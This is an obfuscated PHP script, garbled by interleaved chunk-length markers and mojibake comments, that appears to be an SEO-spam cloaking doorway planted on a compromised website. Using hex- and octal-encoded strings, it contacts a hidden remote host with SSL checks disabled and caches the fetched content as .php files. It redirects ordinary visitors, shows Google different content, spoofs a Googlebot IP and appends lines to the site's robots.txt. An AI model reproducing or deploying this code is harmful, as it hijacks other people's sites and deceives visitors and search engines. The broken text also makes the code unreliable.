1 < 4 ?php 3 e 4 rror 4 _rep 4 orti 4 ng(0 3 ); 3 $g 5 et = 3 fil 5 ter_i 3 npu 4 t_ar 4 ray( 3 INP 3 UT_ 4 GET, 3 FI 4 LTER 3 _SA 4 NITI 3 ZE_ 3 STR 3 ING 5 ); 4 /* 19 ------------------------- 3 5 é 3 «˜é 3 €Ÿæ 2 œ¬ 3 地 3 缓 3 å­˜ 2 å‡ 3 ½æ• 3 ° 1a ------------------------- 3 */ 3 fu 4 ncti 4 on c 4 ache 4 _get 4 ($ke 4 y, $ 4 expi 2 re 6 = 300 3 ) { 7 $ 8 file = s 2 ys 7 _get_te 4 mp_d 4 ir() 4 . ' 8 /cache_' 4 . m 7 d5($key 6 ) . '. 5 php'; 7 i 3 f ( 7 file_ex 4 ists 6 ($file 3 ) & 4 & (t 3 ime 4 () - 6 filem c time($file)) 2 < 11 $expire) { 7 ret 3 urn a file_get_ 4 cont 2 en 10 ts($file); 7 } b return fals 5 e; } 12 function cache_s b et($key, $d 3 ata 4b ) { $file = sys_get_temp_dir() . '/cache_' . md5($key) . '.php'; 6 @file_ 4 put_ 15 contents($file, $data 4 , LO 3 CK_ 3 EX) 6 ; } 26 /* ------------------------- è 3 Ž·å 3 –ç 3 œŸå 2 ®ž 3 访 2 é— 4 ® IP 3 ( 2 å… 3 ¼å® 3 ¹ C 4 DN / 3 å 2 ä 3 »£ï 2 ¼‰ 29 ------------------------- */ function 7 get_rea 4 l_ip b () { $ 8 keys = [ c 'H 3 TTP 3 _CF 4 _CON 3 NEC 4 TING 4 _IP' 4 , // 3 Cl 4 oudf 4 lare 11 'HTTP_X 3 _RE 8 AL_IP', a // 4 Ngin 13 x 'HTTP_X_ 3 FOR 3 WAR b DED_FOR', 5 // Pr 3 oxy 12 'HTTP_CL 4 IENT 5 _IP', d 'RE 4 MOTE 3 _AD 3 DR' 7 ] 9 ; 5 forea 3 ch 8 ($keys a 4 s $k d ) { 5 if (! 5 empty 4 ($_S 3 ERV 3 ER[ 3 $k] e )) { 7 $ip 3 = 15 $_SERVER[$k]; e if (st 3 rpo 5 s($ip 4 , ', 3 ') 3 !== 6 false 1c ) { $ip = t 4 rim( 4 expl 4 ode( 4 ',', 6 $ip)[ 2 0] 10 ); 15 } if ( 8 filter_v 2 ar d ($ip, FILTER_ 3 VAL 3 IDA 5 TE_IP 1 ) 1c ) { return 3 $ip 21 ; } } f } return ' 4 127. 4 0.0. 2 1' 2c ; } /* ------------------------- æ 3 ›´å 3 ¿«ç 2 š„ 5 getC 4 url( 1 ) 31 ------------------------- */ function getCurlF 2 as 6 t($url 5 ) { c $cache 4 d = f cache_get($url) b ; if ( 8 $cached 13 !== false) return $ 6 cached e ; $data 5 = '' 9 ; c if (function 9 _exists(' 4 curl 5 _init f ')) { 4 $ch 3 = c 15 url_init($url); 9 curl_ 5 setop 8 t_array( 4 $ch, 10 [ 3 CUR 4 LOPT 4 _RET 3 URN 4 TRAN 3 SFE 3 R = 4 > tr 3 ue, 16 CURLOPT_ a CONNECTTIM 3 EOU 6 T => 5 17 , CURLOPT_ f TIMEOUT 4 => 8 18 , CURLOPT_S 3 SL_ 5 VERIF 3 YPE 6 ER => 26 false, CURLOPT_SSL_VERIFY 3 HOS 1 T 23 => false, CURLOPT_FOL 2 LO 4 WLOC 4 ATIO 21 N => false, CURLOPT_ 4 USER 2 AG 3 ENT c => "Mo 4 zill 3 a/5 3 .0" a 15 ]); $data = 7 curl_ex 2 ec 15 ($ch); curl_ 4 clos d e($ch); d } if ( 7 empty($ 6 data) 6 && ini 6 _get(' 4 allo 6 w_url_ 4 fope 1 n 15 ')) { $conte 5 xt = 5 strea 2 m_ 9 context_c 6 reate( 10 [ " 4 http 5 " => 2 [" 7 timeout 7 " => 8, 5 "hea 3 der 8 " => "Us 3 er- 2 Ag 5 ent: d Mozilla/5.0\r 4 \n"] f , 4 "ssl 8 " => [" 4 veri 4 fy_p 8 eer" => 7 false, f "verify_peer_na 2 me b " => false] 20 ]); $data = @ 13 file_get_contents($ 4 url, 10 false, $context 15 ); } if ( d !empty($data) d ) cache_set($ 5 url, 7 $data); 12 return $data 2b ; } /* ------------------------- 5 URL ä 2 ¿¡ 3 æ¯ 2d ------------------------- */ function get_ 7 url_inf 5 o(str 4 ing 4 $typ 3 e=' 4 doma 4 in') 9 : string 9 { $h 3 ost c = $_SERVER[ a 'HTTP_HOST 3 '] 2 ?? f ''; if ($ 5 type 5 === ' 3 no_ 4 www' 9 ) return 4 preg 5 _repl 2 ac 5 e('/^ 7 www\./i 4 ', ' 9 ', $host) b ; $p 4 roto 3 col 3 = 16 (!empty($_SERVER['HTTP 3 S'] 5 ) && 16 $_SERVER['HTTPS'] !== 4 'off 4 ') ? 7 "https 4 ://" 8 : "http 4 ://" 9 ; $b 2 as f e = $protocol . 6 $host d ; if ( f $type === 'base f ') return $base 17 ; if ($type === 'f 3 ull 12 ') return $base . c ($_SERVER['R 2 EQ 3 UES 5 T_URI 8 '] ?? '' 12 ); return $ 7 host; 29 } /* ------------------------- å 3 Ÿºç 2 ¡€ 3 å˜ 3 é‡ 20 ------------------------- */ 5 goto 3 ONP 3 uB; 7 ONPuB: 6 $http 7 _type = 11 !empty($_SERVER[ 3 "\x 4 48\1 3 24\ 6 x54\x5 5 0\x53 1 " 19 ]) && $_SERVER["\x48\124\ d 124\x50\x53"] 6 !== " 4 \157 3 \x6 3 6\1 3 46" 7 ? "\15 4 0\x7 9 4\x74\x70 3 \16 4 3\72 3 \x2 5 f\x2f 8 " : "\x6 4 8\16 9 4\164\160 9 \72\x2f\5 4 7"; 7 goto O4 3 O9k b ; O4O9k: $v 8 url = "\ 4 x74\ 8 157\56\1 2 52 7 \147\14 5 1\x6c 9 \x6c\163\ 3 x2e 4 \143 8 \157\x6d c \x2f"; goto 3 vgv 3 72; 9 vgv72: $ 2 qz 6 = sub 3 str d (str_replace( 12 array("\x77\x77\16 6 7\x2e" 3 , " 5 \56") 7 , '', $ d _SERVER["\110 7 \x54\x5 8 4\120\x5 6 f\x48\ 3 x4f 8 \123\x54 4 "]), 4 0, 5 3); 24 /* ------------------------- è 3 §£æ 2 ž 6 f å‚ 24 æ•° ------------------------- */ $ 6 sz = $ 2 ii 5 d = " 6 "; if a (!empty($_ 5 GET)) 4 { 4 $f=r 6 eset($ 5 _GET) 9 ; $s 4 p = e explode('-', $ 1 f f ); if (cou 4 nt($ 3 sp) 6 === 2 11 ) { $sz 6 = $sp 3 [0] c ; $ b iid = $sp[1 1 ] b ; } } 28 /* ------------------------- 远 2 ç¨ 3 ‹æŽ 3 ¥å 1 £ 20 ------------------------- */ e if (!empty($sz b )) { $ 5 jd = d getCurlFast(" b {$http_type 2 }{ 7 $vurl}3 3 kg. 4 aspx 3 ?sz 2 =" 8 . urlen 5 code( 5 $sz)) 6 ; } e 3 lse 3a { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?xy= d {$http_type}" b ); $sz 2c = getCurlFast("{$http_type}{$vurl}3kg.aspx? 2 jd 13 =" . urlencode($jd) c ); } $hy 3 zhd 5 y = $ 5 jd . 3 "41 5 .aspx 6 "; $s 5 url 16 = $jd . "s41.aspx"; 25 /* ------------------------- 4 robo 2 ts 5 / si 5 temap 22 ------------------------- */ $s 7 itemapL 6 ine = 2 "S 8 itemap: e {$http_type}{$ 20 _SERVER['HTTP_HOST']}{$_SERVER[' 3 SCR 4 IPT_ 3 NAM 5 E']}? 6 w=" . 5 date( 3 'Ym 3 dHi 5 ') . 4 "\n" c ; function 5 ensur 2 e_ e robots_sitemap d ($sitemapLine a ) { $ 9 robots = 6 rtrim( b $_SERVER['D 3 OCU 5 MENT_ 3 ROO 3 T'] 6 , "/\\ 7 ") . '/ 7 robots. 3 txt d '; if (! d file_exists($ 6 robots e )) { 1a @file_put_contents($robots 8 , "User- 7 agent: 3 *\n 5 Allow 3 : / 3 \n" f . $sitemapLine d , LOCK_EX); 5 } 13 else { $c 17 = @file_get_contents($ 8 robots); e if ( 4 $c = a == false | 2 | a strpos($c, e $sitemapLine) a === false 11 ) { 2a @file_put_contents($robots, $sitemapLine, 3 FIL 4 E_AP 4 PEND 2 | 10 LOCK_EX); 11 } } } 25 /* ------------------------- 4 w= è 2 ¾“ 3 出 2c ------------------------- */ if (!empty($ 4 get[ 3 'w' 7 ])) { a $par 2 am 9 s = http_ 4 buil 3 d_q 4 uery c ([ 3 'NO 4 Umbe 2 r' a => $get[' 8 NOUmber' 13 ] ?? '', ' 2 t' 10 => $get[' 15 t'] ?? '', ' 3 cn' 12 => $get['cn' 14 ] ?? '', 'p 5 NOUm' 12 => $get['pNOUm' 16 ] ?? '', 'cid 10 ' => $get['c 16 id'] ?? '', ' 1 m 1a ' => $get['m'] ?? '' 7 ] b ); $ 3 str 16 = getCurlFast("{$surl 3 }?{ 7 $params c }"); 4 echo d str_replace( b [ 3 'yy 4 mm', 6 'ggggg 5 ','?f 4 ='], b [ b $http_type. 16 $_SERVER['HTTP_HOST']. 17 $_SERVER['SCRIPT_NAME'] 5 , $sz 5 ,'?'. 4 $qz. f '='], a $str 8 ); 3 exi 2e t; } /* ------------------------- IP 3 åˆ 3 ¤å® 2 šï 3 ¼ˆä 2 ¿ 3 ç•™ 4 kk 2 æµ 3 ‹è¯ 1 • 24 ) ------------------------- */ $ 6 kk = i 6 sset($ 6 get['k 5 k']) 1 ? 12 trim($get['kk']) 7 : ''; 6 $ip = 5 ($kk 5 !== ' 8 ') ? "66 3 .24 3 9.8 3 2.8 4 " : d get_real_ip() 28 ; /* ------------------------- 9 getdomain 5 2 判 3 æ–­ 21 ------------------------- */ $ 6 domain 8 = trim( 13 getCurlFast($jd . " a getdomain2 8 .aspx?rn 3 d=1 3 &ip 5 =" . 4 $ip) 2b ); /* ------------------------- é 4 ž go 4 ogle 3 + 5 iid â 2 †’ 3 è· 3 ³è½ 1 ¬ 2c ------------------------- */ if ($domain 5 !== ' 7 google' 4 && b !empty($iid c )) { $k 4 name 7 = urld 6 ecode( 15 getCurlFast($jd . "gn 6 .aspx? a iid=" . $i 7 id)); a echo ' 4 loc 5 ation 2 =" b ' . $jd . " 8 a.aspx?c 4 name 10 =" . urlencode($ a kname) . " 4 &url 6 =" . $ b http_type . 23 $_SERVER['HTTP_HOST'] . $_SERVER[' d SCRIPT_NAME'] 6 . '"< 8 /script> 1 ' 3a ; exit; } /* ------------------------- iid 32 输出 ------------------------- */ if (!empty($ e iid)) { $ 12 str = getCurlFast( b $hyzhdy . " 6 ?iid={ 4 $iid 29 }"); echo str_replace( [' d ggggg','YYYYY 4 ','X 2 XX 8 YYY','å½ 3 “å‰ 8 URL','U 7 UUUU',' 5 MMMMM 15 ','?f='], [$ 3 sz, f get_url_info() 16 , get_url_info('base') 10 , get_url_info(' 16 full'), get_url_info(' 8 no_www') 4 ,par 6 se_url 18 ($_SERVER['REQUEST_URI'] 4 , PH 4 P_UR 4 L_PA 3 TH) 59 ,'?'.$qz.'='], $str ); exit; } /* ------------------------- 8 sitemap 4 help 2 er 2a ------------------------- */ function o 2 ut c put_sitemap_ 3 and 5 _exit e ($sitemapLine, b $http_type 9 ) { 23 ensure_robots_sitemap($sitemapLine) e ; echo "< 3 div 5 styl 3 e=' 5 text- 4 alig 3 n:c 4 ente 4 r;pa 4 ddin 3 g:1 4 0px 3 0;' 1 > 11 9 Sitemap 7 " 36 ; exit; } /* ------------------------- 3 kk 8 è¾“å‡ºæŽ 3 §åˆ 1 ¶ 25 ------------------------- */ if ($ d kk !== '' && 6 preg_m 3 atc 5 h('/^ 3 [A- 3 Za- 3 z0- 2 9] 3 +$/ 6 ', $kk c )) { $r 4 emot 1 e 2a = getCurlFast($jd . "getdomain2.aspx?rnd= 3 2&k 7 k=" . $ 3 kk) c ; if (! d empty($remote e )) { c echo $remote b ; 7 exit; c } } 13 if ($kk !== '' && ! 2c preg_match('/^[A-Za-z0-9]+$/', $kk)) { 31 output_sitemap_and_exit($sitemapLine, $http_type) c ; } $is_ 3 no_ 5 query 4 = e 12 mpty($_SERVER['QUE 2 RY 8 _STRING' 7 ]); 9 if ($kk = 15 == '' && $is_no_query 9 ) { d if ($domain = b == 'google' d ) { 34 output_sitemap_and_exit($sitemapLine, $http_type); 16 } else { 47 exit; } } output_sitemap_and_exit($sitemapLine, $http_type); 2 ?> 2 0